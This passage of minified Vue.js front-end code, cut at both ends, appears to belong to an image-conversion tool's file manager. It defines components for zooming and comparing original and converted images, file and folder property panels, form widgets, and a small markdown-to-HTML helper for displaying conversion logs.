ResizeObserver(this.onResize).observe(this.$refs.root)),this.$refs.zoomer.tapDetector.onDoubleTap(this.onDoubleTap),this.$watch(&quot;$refs.zoomer.scale&quot;,(t,e)=&gt;{this.isImageReady(),this.$emit(&quot;update:zoom&quot;,t/this.scaleZoomRatio)}),this.$watch(&quot;$refs.zoomer.translateX&quot;,(t,e)=&gt;{this.$emit(&quot;update:translateX&quot;,t)}),this.$watch(&quot;$refs.zoomer.translateY&quot;,(t,e)=&gt;{this.$emit(&quot;update:translateY&quot;,t)})},beforeDestroy(){window.ResizeObserver&amp;&amp;this.ro.unobserve(this.$refs.zoomer)}},dt={ref:&quot;root&quot;,class:&quot;image-viewport&quot;},ut=[&quot;src&quot;],ht={class:&quot;zoom-info&quot;};function pt(t,e,o,l,i,n){const a=m(&quot;v-zoomer&quot;);return s(),d(&quot;div&quot;,dt,[w(a,{ref:&quot;zoomer&quot;,class:&quot;zoomer&quot;,minScale:.1,maxScale:8,onResize:n.onResize,doubleClickToZoom:!1,style:A({height:o.height+&quot;px&quot;}),pivot:&quot;cursor&quot;,limitTranslation:!1,lockPanOnNoScale:!1},{default:S(()=&gt;[r(&quot;img&quot;,{ref:&quot;theimg&quot;,src:o.src,onLoad:e[0]||(e[0]=(...c)=&gt;n.onImgLoad&amp;&amp;n.onImgLoad(...c))},null,40,ut)]),_:1},8,[&quot;minScale&quot;,&quot;onResize&quot;,&quot;style&quot;]),r(&quot;div&quot;,ht,&quot; zoom: &quot;+_(Math.round(o.zoom*100))+&quot;% &quot;,1)],512)}var mt=v(ct,[[&quot;render&quot;,pt]]);const ft={name:&quot;Variant&quot;,components:{ImageViewport:mt},emits:[&quot;select&quot;,&quot;update:zoom&quot;,&quot;update:translateX&quot;,&quot;update:translateY&quot;,&quot;load&quot;,&quot;resize&quot;],props:{title:{type:String},info:{type:Object},url:{type:String,default:&quot;&quot;},height:{type:Number},zoom:{type:Number},scaleZoomRatio:{type:Number},translateX:{type:Number},translateY:{type:Number},variantIndex:{type:Number}},computed:{imageUrl:function(){var t;return(t=this.info)==null?void 0:t.url},filesize:function(){var e;if(!((e=this.info)==null?void 0:e.size))return&quot;&quot;;let t=this.info.size;return t&lt;1024?t+&quot; bytes&quot;:(t/=1024,t&lt;1024?Math.round(t*10)/10+&quot; kb&quot;:(t/=1024,Math.round(t*10)/10+&quot; MB&quot;))}},methods:{onVariantSelect(){this.$emit(&quot;select&quot;,this.variantIndex)},onLoad(){this.$emit(&quot;load&quot;)},zoomToFit(){this.$refs.theport.zoomToFit()}},mounted(){this.$watch(&quot;$refs.theport.zoom&quot;,(t,e)=&gt;{this.$emit(&quot;update:zoom&quot;,t)}),this.$watch(&quot;$refs.theport.translateX&quot;,(t,e)=&gt;{this.$emit(&quot;update:translateX&quot;,t)}),this.$watch(&quot;$refs.theport.translateY&quot;,(t,e)=&gt;{this.$emit(&quot;update:translateY&quot;,t)})},data(){return{}}},gt={class:&quot;variant&quot;},vt={class:&quot;header&quot;},yt={class:&quot;title&quot;},_t={class:&quot;size&quot;};function wt(t,e,o,l,i,n){const a=m(&quot;ImageViewport&quot;);return s(),d(&quot;div&quot;,gt,[r(&quot;div&quot;,vt,[r(&quot;div&quot;,yt,_(o.title),1),r(&quot;div&quot;,_t,_(n.filesize),1)]),w(a,{ref:&quot;theport&quot;,src:n.imageUrl,height:o.height,zoom:o.zoom,&quot;onUpdate:zoom&quot;:e[0]||(e[0]=c=&gt;o.zoom=c),scaleZoomRatio:o.scaleZoomRatio,translateX:o.translateX,&quot;onUpdate:translateX&quot;:e[1]||(e[1]=c=&gt;o.translateX=c),translateY:o.translateY,&quot;onUpdate:translateY&quot;:e[2]||(e[2]=c=&gt;o.translateY=c),onLoad:n.onLoad,onResize:e[3]||(e[3]=c=&gt;this.$emit(&quot;resize&quot;))},null,8,[&quot;src&quot;,&quot;height&quot;,&quot;zoom&quot;,&quot;scaleZoomRatio&quot;,&quot;translateX&quot;,&quot;translateY&quot;,&quot;onLoad&quot;])])}var le=v(ft,[[&quot;render&quot;,wt],[&quot;__scopeId&quot;,&quot;data-v-0c38121e&quot;]]);const bt={name:&quot;Variants&quot;,components:{Variant:le},emits:[&quot;update:zoom&quot;,&quot;update:translateX&quot;,&quot;update:translateY&quot;],props:{file:{type:Object},viewport:{type:Object},height:{type:Number},zoom:{type:Number,default:1},translateX:{type:Number,default:0},translateY:{type:Number,default:0}},watch:{file(t,e){}},methods:{onZoomChange(t){this.$emit(&quot;update:zoom&quot;,t)},onTranslateXChange(t){this.$emit(&quot;update:translateX&quot;,t)},onTranslateYChange(t){this.$emit(&quot;update:translateY&quot;,t)},sliderFormat(t){return Math.round(t*100)+&quot;%&quot;},changeImage(){this.imageUrl==&quot;http://localhost:3000/src/assets/dummy.jpg&quot;?this.imageUrl=&quot;http://localhost:3000/src/assets/dummy2.jpg&quot;:this.imageUrl=&quot;http://localhost:3000/src/assets/dummy.jpg&quot;,this.selectedVariant=-1},onVariantSelect(t){this.selectedVariant=t}},mounted(){this.$watch(&quot;$refs.variants.zoom&quot;,(t,e)=&gt;{})},data(){var t=&quot;http://localhost:3000/src/assets/200x100.jpg&quot;;return{imageUrl:&quot;&quot;,selectedVariant:-1,variants:[{title:&quot;Existing conversion&quot;,size:732,url:t},{title:&quot;Lossy, q:20&quot;,size:35e5,url:t}]}}},re=t=&gt;(Y(&quot;data-v-25a3327e&quot;),t=t(),H(),t),kt={class:&quot;variants-component&quot;},xt=re(()=&gt;r(&quot;br&quot;,null,null,-1)),Vt=re(()=&gt;r(&quot;br&quot;,null,null,-1)),Ct={class:&quot;variants&quot;};function zt(t,e,o,l,i,n){const a=m(&quot;Variant&quot;);return s(),d(&quot;div&quot;,kt,[q(&quot; File: &quot;+_(o.file)+&quot; &quot;,1),r(&quot;button&quot;,{onClick:e[0]||(e[0]=c=&gt;n.changeImage())},&quot;Change image&quot;),xt,Vt,r(&quot;div&quot;,Ct,[(s(!0),d(B,null,P(i.variants,(c,g)=&gt;(s(),x(a,{title:c.title,info:c,variantIndex:g,class:$({selected:g==i.selectedVariant}),height:o.height,zoom:o.zoom,&quot;onUpdate:zoom&quot;:[e[1]||(e[1]=u=&gt;o.zoom=u),n.onZoomChange],translateX:o.translateX,&quot;onUpdate:translateX&quot;:[e[2]||(e[2]=u=&gt;o.translateX=u),n.onTranslateXChange],translateY:o.translateY,&quot;onUpdate:translateY&quot;:[e[3]||(e[3]=u=&gt;o.translateY=u),n.onTranslateYChange],onSelect:n.onVariantSelect},null,8,[&quot;title&quot;,&quot;info&quot;,&quot;variantIndex&quot;,&quot;class&quot;,&quot;height&quot;,&quot;zoom&quot;,&quot;translateX&quot;,&quot;translateY&quot;,&quot;onSelect&quot;,&quot;onUpdate:zoom&quot;,&quot;onUpdate:translateX&quot;,&quot;onUpdate:translateY&quot;]))),256))])])}var St=v(bt,[[&quot;render&quot;,zt],[&quot;__scopeId&quot;,&quot;data-v-25a3327e&quot;]]);class U{static escape(e){return e.replace(/./gm,function(o){var l=/[0-9a-zA-Z\!\[\]\(\)\*\#]/;return l.test(o.charAt(0))?o.charAt(0):&quot;&amp;#&quot;+o.charCodeAt(0)+&quot;;&quot;})}static md2htmlOneLine(e){return e=U.escape(e),e=e.replace(/\[([^[]+)\]\(([^)]+)\)/gm,function(o,l,i){return&#039;&lt;a target=&quot;blank&quot; href=&quot;&#039;+i+&#039;&quot;&gt;&#039;+l+&quot;&lt;/a&gt;&quot;}),e=e.replace(/(\*\*[^\*]+\*\*)/gm,function(o){return&quot;&lt;b&gt;&quot;+o.substr(2,o.length-4)+&quot;&lt;/b&gt;&quot;}),e=e.replace(/(\*[^\*]+\*)/gm,function(o){return&quot;&lt;i&gt;&quot;+o.substr(1,o.length-2)+&quot;&lt;/i&gt;&quot;}),e.substr(0,1)==&quot;#&quot;&amp;&amp;(e.substr(0,2)==&quot;# &quot;&amp;&amp;(e=&quot;&lt;h1&gt;&quot;+e.substr(2)+&quot;&lt;/h1&gt;&quot;),e.substr(0,3)==&quot;## &quot;&amp;&amp;(e=&quot;&lt;h2&gt;&quot;+e.substr(3)+&quot;&lt;/h2&gt;&quot;),e.substr(0,4)==&quot;### &quot;&amp;&amp;(e=&quot;&lt;h3&gt;&quot;+e.substr(4)+&quot;&lt;/h3&gt;&quot;),e.substr(0,5)==&quot;#### &quot;&amp;&amp;(e=&quot;&lt;h4&gt;&quot;+e.substr(5)+&quot;&lt;/h4&gt;&quot;)),e}static md2html(e){e=e.replace(/\r\n/g,`
`);for(var o=e.split(`
`),l=[],i=0;i&lt;o.length;i++)l.push(U.md2htmlOneLine(o[i]));return l.join(&quot;&lt;br&gt;&quot;)}}const Mt={name:&quot;FileProperties&quot;,components:{Variant:le,Variants:St,Modal:ae},props:{file:{type:Object,default:{}}},inject:[&quot;wcfm&quot;],computed:{originalMime:function(){var t;return((t=this.originalInfo)==null?void 0:t.mime)?this.originalInfo.mime:&quot;&quot;},convertedMime:function(){var t;return((t=this.convertedInfo)==null?void 0:t.mime)?this.convertedInfo.mime:&quot;&quot;}},watch:{file(t,e){t.isDir||this.changePath(t.path)}},methods:{onVariantSelect(t){this.selectedVariant=t},onOriginalLoad(){if(this.updateHeight(),this.$refs.original.$refs.theport.calcScaleZoomRatio()&gt;1){let e=this.$refs.original.$refs.theport,o=e.$refs.theimg,l=e.$refs.root,i=o.naturalWidth,n=o.naturalHeight,a=l.offsetWidth,g=this.height/n,u=a/i;this.zoom=Math.min(g,u)}else this.zoom=1;this.translateX=0,this.translateY=0},onOriginalResize(){this.updateHeight()},onConvertClick(){var o;let t=this;this.converting=!0;let e=(o=this.wcfm.$refs.convertOptions)==null?void 0:o.getOptions();t.errorMsg=&quot;&quot;,L.post(&quot;convert&quot;,{path:this.path,convertOptions:e},function(l){t.converting=!1,(l==null?void 0:l.success)==!1&amp;&amp;(t.errorMsg=l.data),l.converted&amp;&amp;(t.convertedInfo=l.converted),l.log&amp;&amp;(t.log=U.md2html(l.log))})},onDeleteConvertedClick(){let t=this;L.post(&quot;delete-converted&quot;,{path:this.path},function(e){(e==null?void 0:e.success)==!1?t.errorMsg=e.data:(t.log=&quot;&quot;,t.convertedInfo=null)})},updateHeight(){this.$refs.original&amp;&amp;(this.height=this.$refs.original.$refs.theport.getGoodContainerHeight(),this.scaleZoomRatio=this.$refs.original.$refs.theport.calcScaleZoomRatio())},reset(){this.originalInfo=null,this.convertedInfo=null},reload(){this.load()},changePath(t){this.reset(),this.path=t,this.loading=!0,this.errorMsg=&quot;&quot;,this.log=&quot;&quot;,this.load()},load(){let t=this;L.post(&quot;info&quot;,{path:this.path},function(e){(e==null?void 0:e.success)==!1&amp;&amp;(t.errorMsg=e.data),t.loading=!1,t.originalInfo=e.original,e.converted&amp;&amp;(t.convertedInfo=e.converted),e.log&amp;&amp;(t.log=U.md2html(e.log))})}},mounted(){this.file&amp;&amp;(this.path=this.file.path,this.load())},data(){return{zoom:1,scaleZoomRatio:1,translateX:0,translateY:0,height:100,loading:!1,errorMsg:&quot;&quot;,originalInfo:null,convertedInfo:null,path:&quot;&quot;,log:&quot;&quot;,showingLogDialog:!1,converting:!1}}},F=t=&gt;(Y(&quot;data-v-1e863e69&quot;),t=t(),H(),t),It={class:&quot;file-properties&quot;},Ot={class:&quot;path&quot;},Tt=q(&quot; Path: &quot;),$t={class:&quot;path&quot;},Bt={key:0,class:&quot;error&quot;},Lt={class:&quot;variant-wrap&quot;},Dt={class:&quot;variant-footer&quot;},qt={class:&quot;variant-wrap&quot;},At={key:0,class:&quot;variant-footer&quot;},Pt=F(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-trash&quot;},null,-1)),Ut=[Pt],jt=[&quot;innerHTML&quot;],Rt={key:0},Ft={key:1},Nt={key:0,class:&quot;icon-converting&quot;,width:&quot;15&quot;,height:&quot;15&quot;},Yt=F(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-loading&quot;},null,-1)),Ht=[Yt],Wt=[&quot;disabled&quot;],Xt=F(()=&gt;r(&quot;p&quot;,null,&quot; Above, you see the original image. If it has been converted, you also see the converted image (provided that your browser supports webp). &quot;,-1)),Et=F(()=&gt;r(&quot;p&quot;,null,&quot; You can zoom in on the image, ie using scroll wheel. Both images will zoom, allowing you to compare the quality. Double-click the image to set zoom to 100%. You can also drag the image. &quot;,-1));function Gt(t,e,o,l,i,n){const a=m(&quot;Variant&quot;),c=m(&quot;Modal&quot;),g=W(&quot;tooltip&quot;);return s(),d(&quot;div&quot;,It,[r(&quot;div&quot;,Ot,[Tt,r(&quot;span&quot;,$t,_(o.file.path),1)]),i.errorMsg!=&quot;&quot;?(s(),d(&quot;div&quot;,Bt,[r(&quot;p&quot;,null,&quot;Error: &quot;+_(i.errorMsg),1)])):p(&quot;&quot;,!0),z(r(&quot;div&quot;,null,&quot;Getting info...&quot;,512),[[I,i.loading]]),r(&quot;div&quot;,null,[r(&quot;div&quot;,Lt,[z(w(a,{ref:&quot;original&quot;,title:&quot;Original&quot;,info:i.originalInfo,height:i.height,zoom:i.zoom,&quot;onUpdate:zoom&quot;:e[0]||(e[0]=u=&gt;i.zoom=u),scaleZoomRatio:i.scaleZoomRatio,translateX:i.translateX,&quot;onUpdate:translateX&quot;:e[1]||(e[1]=u=&gt;i.translateX=u),translateY:i.translateY,&quot;onUpdate:translateY&quot;:e[2]||(e[2]=u=&gt;i.translateY=u),onLoad:n.onOriginalLoad,onResize:n.onOriginalResize},null,8,[&quot;info&quot;,&quot;height&quot;,&quot;zoom&quot;,&quot;scaleZoomRatio&quot;,&quot;translateX&quot;,&quot;translateY&quot;,&quot;onLoad&quot;,&quot;onResize&quot;]),[[I,i.originalInfo]]),r(&quot;div&quot;,Dt,_(n.originalMime),1)]),r(&quot;div&quot;,qt,[z(w(a,{title:&quot;Existing conversion&quot;,info:i.convertedInfo,height:i.height,zoom:i.zoom,&quot;onUpdate:zoom&quot;:e[3]||(e[3]=u=&gt;i.zoom=u),scaleZoomRatio:i.scaleZoomRatio,translateX:i.translateX,&quot;onUpdate:translateX&quot;:e[4]||(e[4]=u=&gt;i.translateX=u),translateY:i.translateY,&quot;onUpdate:translateY&quot;:e[5]||(e[5]=u=&gt;i.translateY=u)},null,8,[&quot;info&quot;,&quot;height&quot;,&quot;zoom&quot;,&quot;scaleZoomRatio&quot;,&quot;translateX&quot;,&quot;translateY&quot;]),[[I,i.convertedInfo]]),i.convertedInfo?(s(),d(&quot;div&quot;,At,[q(_(n.convertedMime)+&quot; &quot;,1),z((s(),d(&quot;svg&quot;,{class:&quot;icon-trash&quot;,onClick:e[6]||(e[6]=(...u)=&gt;n.onDeleteConvertedClick&amp;&amp;n.onDeleteConvertedClick(...u))},Ut,512)),[[g,&quot;Delete conversion&quot;]])])):p(&quot;&quot;,!0)])]),z(w(c,{title:&quot;Conversion log&quot;,closeButtonText:&quot;Ok&quot;,width:&quot;95vw&quot;,maxwidth:&quot;1400px&quot;,height:&quot;95vh&quot;,onClose:e[7]||(e[7]=u=&gt;i.showingLogDialog=!1)},{default:S(()=&gt;[r(&quot;div&quot;,{innerHTML:i.log},null,8,jt)]),_:1},512),[[I,i.showingLogDialog]]),r(&quot;div&quot;,null,[r(&quot;button&quot;,{onClick:e[8]||(e[8]=(...u)=&gt;n.onConvertClick&amp;&amp;n.onConvertClick(...u))},[i.convertedInfo?(s(),d(&quot;span&quot;,Rt,&quot;Reconvert&quot;)):p(&quot;&quot;,!0),i.convertedInfo?p(&quot;&quot;,!0):(s(),d(&quot;span&quot;,Ft,&quot;Convert&quot;))]),i.converting?(s(),d(&quot;svg&quot;,Nt,Ht)):p(&quot;&quot;,!0),i.log!=&quot;&quot;?(s(),d(&quot;button&quot;,{key:1,onClick:e[9]||(e[9]=u=&gt;i.showingLogDialog=!0),class:&quot;log-button&quot;,disabled:i.converting},&quot;View conversion log&quot;,8,Wt)):p(&quot;&quot;,!0)]),Xt,Et])}var Zt=v(Mt,[[&quot;render&quot;,Gt],[&quot;__scopeId&quot;,&quot;data-v-1e863e69&quot;]]);const Kt={name:&quot;FolderProperties&quot;,components:{},props:{file:{type:Object,default:{}}},watch:{file(t,e){}}},Qt={class:&quot;folder-properties&quot;},Jt={class:&quot;path&quot;},eo=q(&quot; Path: &quot;),to={class:&quot;path&quot;},oo=r(&quot;p&quot;,null,&quot; You cannot do anything on folders yet. Browse to an image... &quot;,-1);function io(t,e,o,l,i,n){return s(),d(&quot;div&quot;,Qt,[r(&quot;div&quot;,Jt,[eo,r(&quot;span&quot;,to,_(o.file.path),1)]),oo])}var no=v(Kt,[[&quot;render&quot;,io]]);const so={name:&quot;Group&quot;,components:{},props:{modelValue:{},ui:Object,schema:Object},emits:[&quot;update:modelValue&quot;],methods:{onLocalChange(){this.$emit(&quot;update:modelValue&quot;,this.modelValue)}},mounted(){},data(){return{}}},ao={class:&quot;group&quot;},lo={key:0};function ro(t,e,o,l,i,n){return s(),d(&quot;div&quot;,ao,[o.ui.title?(s(),d(&quot;h3&quot;,lo,_(o.ui?o.ui.title:&quot;&quot;),1)):p(&quot;&quot;,!0),J(t.$slots,&quot;default&quot;,{},void 0,!0)])}var co=v(so,[[&quot;render&quot;,ro],[&quot;__scopeId&quot;,&quot;data-v-6ea04f9d&quot;]]);const uo={name:&quot;Input&quot;,props:{modelValue:{},schema:Object,sensitive:{type:Boolean,default:!1}},computed:{inputType:function(){if(this.dataType==&quot;string&quot;)return&quot;text&quot;;if(this.dataType==&quot;int&quot;||this.dataType==&quot;float&quot;)return&quot;number&quot;},inputClass:function(){return this.dataType==&quot;int&quot;?&quot;small&quot;:this.sensitive?&quot;sensitive&quot;+(this.passwordRevealed?&quot; revealed&quot;:&quot; obscured&quot;):&quot;&quot;},valueAsString:function(){return this.modelValue.toString()},dataType:function(){var t;if((t=this==null?void 0:this.schema)==null?void 0:t.type)switch(this.schema.type[0]){case&quot;integer&quot;:return&quot;int&quot;;default:return&quot;string&quot;}else return&quot;&quot;}},emits:[&quot;update:modelValue&quot;],methods:{updateLocalModel(t){this.stringValue=t.toString()},onEyeClick(){this.passwordRevealed=!this.passwordRevealed},onLocalChange(){var o;switch(((o=this==null?void 0:this.schema)==null?void 0:o.type)?this.schema.type[0]:&quot;string&quot;){case&quot;integer&quot;:var e=parseInt(this.stringValue,10);this.$emit(&quot;update:modelValue&quot;,e);break;default:this.$emit(&quot;update:modelValue&quot;,this.stringValue);break}}},mounted(){this.updateLocalModel(this.modelValue)},watch:{modelValue(t,e){this.updateLocalModel(t)},option(t,e){}},data(){return{stringValue:&quot;&quot;,passwordRevealed:!1}}},ho=[&quot;type&quot;],po=r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-eye&quot;},null,-1),mo=[po];function fo(t,e,o,l,i,n){return s(),d(&quot;div&quot;,{onInput:e[2]||(e[2]=a=&gt;n.onLocalChange()),class:&quot;autoui-input&quot;},[z(r(&quot;input&quot;,{type:n.inputType,class:$(n.inputClass),&quot;onUpdate:modelValue&quot;:e[0]||(e[0]=a=&gt;i.stringValue=a)},null,10,ho),[[me,i.stringValue]]),o.sensitive?(s(),d(&quot;svg&quot;,{key:0,class:$({&quot;icon-eye&quot;:!0,revealed:i.passwordRevealed}),onClick:e[1]||(e[1]=(...a)=&gt;n.onEyeClick&amp;&amp;n.onEyeClick(...a))},mo,2)):p(&quot;&quot;,!0)],32)}var go=v(uo,[[&quot;render&quot;,fo]]);const vo={name:&quot;MultiSelect&quot;,components:{VueMultiselect:oe},props:{modelValue:{},schema:Object,ui:Object},emits:[&quot;update:modelValue&quot;],computed:{options:function(){var e,o;var t=[];return((e=this==null?void 0:this.schema)==null?void 0:e.enum)&amp;&amp;(t=this.schema.enum),((o=this==null?void 0:this.ui)==null?void 0:o.options)&amp;&amp;(t=this.ui.options),t}},methods:{updateLocalModel(t){var e=t.toString().trim().split(&quot;,&quot;);e=e.filter(function(o){return o!=&quot;&quot;}),this.valueAsArray=e},onLocalChange(){this.$emit(&quot;update:modelValue&quot;,this.valueAsArray.join(&quot;,&quot;))}},mounted(){this.updateLocalModel(this.modelValue)},watch:{modelValue(t,e){this.updateLocalModel(t)}},data(){return{valueAsArray:[]}}},yo={key:0},_o={key:0,class:&quot;multiselect__single&quot;},wo={key:1,class:&quot;multiselect__single&quot;},bo={key:2,class:&quot;multiselect__single&quot;};function ko(t,e,o,l,i,n){const a=m(&quot;VueMultiselect&quot;);return s(),x(a,{modelValue:i.valueAsArray,&quot;onUpdate:modelValue&quot;:[e[0]||(e[0]=c=&gt;i.valueAsArray=c),n.onLocalChange],options:n.options,multiple:!0,&quot;close-on-select&quot;:!1,&quot;clear-on-select&quot;:!1,&quot;preserve-search&quot;:!1,&quot;preselect-first&quot;:!1,searchable:!1,allowEmpty:!0,placeholder:&quot;&quot;},{selection:S(({values:c,search:g,isOpen:u})=&gt;[u?p(&quot;&quot;,!0):(s(),d(&quot;span&quot;,yo,[c.length&gt;0&amp;&amp;c.length&lt;n.options.length?(s(),d(&quot;span&quot;,_o,_(c.join(&quot;, &quot;)),1)):p(&quot;&quot;,!0),c.length==n.options.length?(s(),d(&quot;span&quot;,wo,&quot; all &quot;)):p(&quot;&quot;,!0),c.length==0&amp;&amp;!u?(s(),d(&quot;span&quot;,bo,&quot; none &quot;)):p(&quot;&quot;,!0)]))]),_:1},8,[&quot;modelValue&quot;,&quot;options&quot;,&quot;onUpdate:modelValue&quot;])}var xo=v(vo,[[&quot;render&quot;,ko]]);const Vo={name:&quot;Select&quot;,components:{VueMultiselect:oe},props:{modelValue:{},ui:Object,schema:Object},emits:[&quot;update:modelValue&quot;],methods:{updateLocalModel(t){},onLocalChange(){this.$emit(&quot;update:modelValue&quot;,this.modelValue)}},computed:{options:function(){var e,o;var t=[];return((e=this==null?void 0:this.schema)==null?void 0:e.enum)&amp;&amp;(t=this.schema.enum),((o=this==null?void 0:this.ui)==null?void 0:o.options)&amp;&amp;(t=this.ui.options),t}},mounted(){},watch:{modelValue(t,e){}},data(){return{}}};function Co(t,e,o,l,i,n){const a=m(&quot;VueMultiselect&quot;);return s(),x(a,{modelValue:o.modelValue,&quot;onUpdate:modelValue&quot;:[e[0]||(e[0]=c=&gt;o.modelValue=c),n.onLocalChange],options:n.options,multiple:!1,&quot;close-on-select&quot;:!0,&quot;clear-on-select&quot;:!1,&quot;preserve-search&quot;:!1,&quot;preselect-first&quot;:!1,searchable:!1,selectLabel:&quot;&quot;,deselectLabel:&quot;&quot;,allowEmpty:!1},null,8,[&quot;modelValue&quot;,&quot;options&quot;,&quot;onUpdate:modelValue&quot;])}var zo=v(Vo,[[&quot;render&quot;,Co]]);const So={name:&quot;Slider&quot;,components:{VueSlider:ee},props:{modelValue:{},ui:Object,schema:Object},emits:[&quot;update:modelValue&quot;],methods:{onLocalChange(){this.$emit(&quot;update:modelValue&quot;,this.modelValue)}},mounted(){},data(){return{}}},Mo={class:&quot;slider&quot;};function Io(t,e,o,l,i,n){const a=m(&quot;VueSlider&quot;);return s(),d(&quot;div&quot;,Mo,[w(a,{modelValue:o.modelValue,&quot;onUpdate:modelValue&quot;:[e[0]||(e[0]=c=&gt;o.modelValue=c),n.onLocalChange],min:o.schema.minimum,max:o.schema.maximum},null,8,[&quot;modelValue&quot;,&quot;onUpdate:modelValue&quot;,&quot;min&quot;,&quot;max&quot;])])}var Oo=v(So,[[&quot;render&quot;,Io],[&quot;__scopeId&quot;,&quot;data-v-8f297ee6&quot;]]);const To={name:&quot;Toggle&quot;,props:{modelValue:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},reverse:{type:Boolean,default:!1},checkedText:{type:String,default:null},uncheckedText:{type:String,default:null},width:{type:[Number,String],default:75},height:{type:[Number,String],default:25},uncheckedBg:{type:String,default:&quot;#939393&quot;},uncheckedBgHover:{type:String,default:&quot;#838383&quot;},checkedBg:{type:String,default:&quot;#0075ff&quot;},checkedBgHover:{type:String,default:&quot;#005cc8&quot;},disabledBg:{type:String,default:&quot;red&quot;},dotColor:{type:String,default:&quot;#fff&quot;},fontSize:{type:[Number,String],default:&quot;12&quot;},checkedColor:{type:String,default:&quot;#fff&quot;},uncheckedColor:{type:String,default:&quot;#fff&quot;},fontWeight:{type:[Number,String],default:&quot;normal&quot;}},emits:[&quot;update:modelValue&quot;],data(){return{checked:!0,hovering:!1}},methods:{toggle(){this.checked=!this.checked,this.$emit(&quot;update:modelValue&quot;,this.checked)}},mounted(){this.checked=this.modelValue},watch:{modelValue(t,e){this.checked=t}},computed:{bgStyle(){var t;return this.disabled?t=this.disabledBg:this.checked?t=this.hovering?this.checkedBgHover:this.checkedBg:t=this.hovering?this.uncheckedBgHover:this.uncheckedBg,{width:`${this.width}px`,height:`${this.height}px`,background:t}},dotStyle(){const t={background:this.dotColor,width:`${this.height-8}px`,height:`${this.height-8}px`,&quot;min-width&quot;:`${this.height-8}px`,&quot;min-height&quot;:`${this.height-8}px`,&quot;margin-left&quot;:this.checked?`${this.width-(this.height-3)}px`:&quot;5px&quot;};return!this.checked&amp;&amp;this.reverse||this.checked&amp;&amp;!this.reverse?t.marginLeft=`${this.width-(this.height-3)}px`:(this.checked&amp;&amp;this.reverse||!this.checked&amp;&amp;!this.reverse)&amp;&amp;(t.marginLeft=&quot;5px&quot;),t},textStyle(){const t={&quot;font-weight&quot;:this.fontWeight,&quot;font-size&quot;:`${this.fontSize}px`,color:this.checked&amp;&amp;!this.disabled?this.checkedColor:this.uncheckedColor,right:this.checked?`${this.height-3}px`:&quot;auto&quot;,left:this.checked?&quot;auto&quot;:`${this.height-3}px`};return!this.checked&amp;&amp;this.reverse?(t.right=`${this.height-3}px`,t.left=&quot;auto&quot;):this.checked&amp;&amp;this.reverse&amp;&amp;(t.left=`${this.height-3}px`,t.right=&quot;auto&quot;),t}}},$o=[&quot;aria-checked&quot;,&quot;aria-readonly&quot;];function Bo(t,e,o,l,i,n){return s(),d(&quot;span&quot;,{class:&quot;vue-toggles&quot;,style:A(n.bgStyle),role:&quot;switch&quot;,tabindex:&quot;0&quot;,&quot;aria-checked&quot;:i.checked?&quot;true&quot;:&quot;false&quot;,&quot;aria-readonly&quot;:o.disabled?&quot;true&quot;:&quot;false&quot;,onClick:e[0]||(e[0]=a=&gt;o.disabled?null:this.toggle()),onKeyup:[e[1]||(e[1]=ie(ne(a=&gt;o.disabled?null:this.toggle(),[&quot;prevent&quot;]),[&quot;enter&quot;])),e[2]||(e[2]=ie(ne(a=&gt;o.disabled?null:this.toggle(),[&quot;prevent&quot;]),[&quot;space&quot;]))],onMouseleave:e[3]||(e[3]=a=&gt;i.hovering=!1),onMouseover:e[4]||(e[4]=a=&gt;i.hovering=!0)},[r(&quot;span&quot;,{&quot;aria-hidden&quot;:&quot;true&quot;,style:A(n.dotStyle),class:&quot;dot&quot;},[z(r(&quot;span&quot;,{style:A(n.textStyle),class:&quot;text&quot;},_(o.checkedText),5),[[I,o.checkedText&amp;&amp;i.checked]]),z(r(&quot;span&quot;,{style:A(n.textStyle),class:&quot;text&quot;},_(o.uncheckedText),5),[[I,o.uncheckedText&amp;&amp;!i.checked]])],4)],44,$o)}var Lo=v(To,[[&quot;render&quot;,Bo]]);const Do={name:&quot;HelpIcon&quot;,props:{schema:Object,ui:Object},computed:{descriptionParagraphs(){return this.schema.description.split(/\n\n/)}},data(){return{btnDown:&quot;&quot;}},methods:{}},qo={class:&quot;help-icon&quot;},Ao=r(&quot;svg&quot;,{class:&quot;icon&quot;},[r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-help&quot;})],-1),Po={class:&quot;menu-inner&quot;},Uo={key:0,class:&quot;buttons&quot;},jo=[&quot;href&quot;,&quot;onMousedown&quot;];function Ro(t,e,o,l,i,n){const a=m(&quot;VMenu&quot;);return s(),d(&quot;div&quot;,qo,[w(a,{delay:{show:100,hide:150}},{popper:S(()=&gt;[r(&quot;div&quot;,Po,[(s(!0),d(B,null,P(n.descriptionParagraphs,c=&gt;(s(),d(&quot;p&quot;,null,_(c),1))),256)),o.ui.links?(s(),d(&quot;div&quot;,Uo,[(s(!0),d(B,null,P(o.ui.links,c=&gt;(s(),d(&quot;a&quot;,{href:c[1],target:&quot;_blank&quot;,class:$({&quot;mouse-down&quot;:i.btnDown==c[0]}),onMousedown:g=&gt;i.btnDown=c[0],onMouseup:e[0]||(e[0]=g=&gt;i.btnDown=&quot;&quot;),onMouseleave:e[1]||(e[1]=g=&gt;i.btnDown=&quot;&quot;)},_(c[0]),43,jo))),256))])):p(&quot;&quot;,!0)])]),default:S(()=&gt;[Ao]),_:1})])}var Fo=v(Do,[[&quot;render&quot;,Ro]]);const No={name:&quot;AutoComponent&quot;,components:{Group:co,Input:go,MultiSelect:xo,Select:zo,Slider:Oo,Toggle:Lo,HelpIcon:Fo},props:{ui:Object,modelValue:{},schema:Object,advancedView:Boolean,expressionContext:String},emits:[&quot;componentDataChange&quot;],watch:{modelValue(t,e){this.updateLocalModel(t)},ui(){this.updateLocalModel(this.modelValue)},schema(){},localModel(t){this.$emit(&quot;componentDataChange&quot;,{value:this.localModel,&quot;data-property&quot;:this.ui[&quot;data-property&quot;]})}},computed:{componentSchema(){return this.ui.hasOwnProperty(&quot;data-property&quot;)&amp;&amp;this.schema.hasOwnProperty(&quot;properties&quot;)&amp;&amp;this.schema.properties.hasOwnProperty(this.ui[&quot;data-property&quot;])?this.schema.properties[this.ui[&quot;data-property&quot;]]:null},enabled(){return(this==null?void 0:this.ui.advanced)&amp;&amp;!this.advancedView?!1:this.displayExpr?this.displayExpr.evaluate(this.expressionContext):!0}},data(){return{localModel:&quot;&quot;,displayExpr:null}},mounted(){this.updateLocalModel(this.modelValue),(this==null?void 